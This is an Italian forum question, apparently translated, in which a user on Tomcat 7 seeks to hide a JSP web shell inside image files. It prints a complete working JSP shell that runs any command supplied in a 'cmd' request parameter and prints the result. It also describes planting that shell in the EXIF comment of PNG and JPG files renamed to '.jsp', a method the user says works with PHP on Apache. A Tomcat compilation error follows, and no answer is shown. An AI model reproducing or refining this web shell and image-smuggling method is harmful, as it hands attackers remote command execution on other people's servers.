shell JSP nell'immagine su Tomcat

0

Ho il server che esegue Tomcat / 7.0.52 sotto Ubuntu. Sto cercando di creare un'immagine con la shell JSP.

Ho scritto la shell in questo modo:

<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
Process p = null;
if (cmd != null) {  
    String s = null;
    try { 
        p = Runtime.getRuntime().exec(cmd);
        BufferedReader sI = new BufferedReader( new InputStreamReader(p.getInputStream()));
        while((s = sI.readLine()) != null ) {
             out.println(s);    
        }
    }
    catch (IOException e) { e.printStackTrace();}
}
%>

Se salvi questo codice come 1.jsp , lo metto sul server e vai a 127.0.0.1:8080/1.jsp?cmd=ls , poi otterrò una risposta corretta.

Poi ho creato due immagini: t.png e k.jpg .

Ho scritto nella sezione commenti delle immagini il mio shellcode usando Exif Pilot. Poi li metto sul mio server, rinomina come t.png.jsp e k.jpg.jsp e qualcosa di brutto è successo.

Inoltre ho provato a scrivere la mia shell alla fine delle immagini. E ancora niente.

127.0.0.1:8080/k.jpg.jsp?cmd=ls

o

127.0.0.1:8080/k.jsp?cmd=ls

Ho ricevuto questo errore:

HTTP Status 500 - Unable to compile class for JSP

type Exception report

message Unable to compile class for JSP

description The server encountered an internal error that prevented it from fulfilling this request.

exception

org.apache.jasper.JasperException: Unable to compile class for JSP org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:672) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:357) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334) javax.servlet.http.HttpServlet.service(HttpServlet.java:727)

root cause

java.io.UTFDataFormatException: Invalid byte 1 of 1-byte UTF-8 sequence. org.apache.jasper.xmlparser.UTF8Reader.invalidByte(UTF8Reader.java:621) org.apache.jasper.xmlparser.UTF8Reader.read(UTF8Reader.java:486) org.apache.jasper.xmlparser.XMLEncodingDetector.load(XMLEncodingDetector.java:1017) org.apache.jasper.xmlparser.XMLEncodingDetector.skipString(XMLEncodingDetector.java:968) org.apache.jasper.xmlparser.XMLEncodingDetector.scanXMLDecl(XMLEncodingDetector.java:1224) org.apache.jasper.xmlparser.XMLEncodingDetector.getEncoding(XMLEncodingDetector.java:124) org.apache.jasper.xmlparser.XMLEncodingDetector.getEncoding(XMLEncodingDetector.java:112) org.apache.jasper.compiler.ParserController.determineSyntaxAndEncoding(ParserController.java:337) org.apache.jasper.compiler.ParserController.doParse(ParserController.java:190) org.apache.jasper.compiler.ParserController.parseDirectives(ParserController.java:119) org.apache.jasper.compiler.Compiler.generateJava(Compiler.java:193) org.apache.jasper.compiler.Compiler.compile(Compiler.java:373) org.apache.jasper.compiler.Compiler.compile(Compiler.java:353) org.apache.jasper.compiler.Compiler.compile(Compiler.java:340) org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:657) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:357) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334) javax.servlet.http.HttpServlet.service(HttpServlet.java:727)

note The full stack trace of the root cause is available in the Apache Tomcat/7.0.52 (Ubuntu) logs. Apache Tomcat/7.0.52 (Ubuntu)

Per essere chiari, questo metodo con la sezione commenti e Exif Pilot funzionava con Apache httpd e PHP shell.

Come creare una shell di immagine sotto il server java?

    
posta user3360601 29.03.2016 - 18:26
fonte

0 risposte

Leggi altre domande sui tag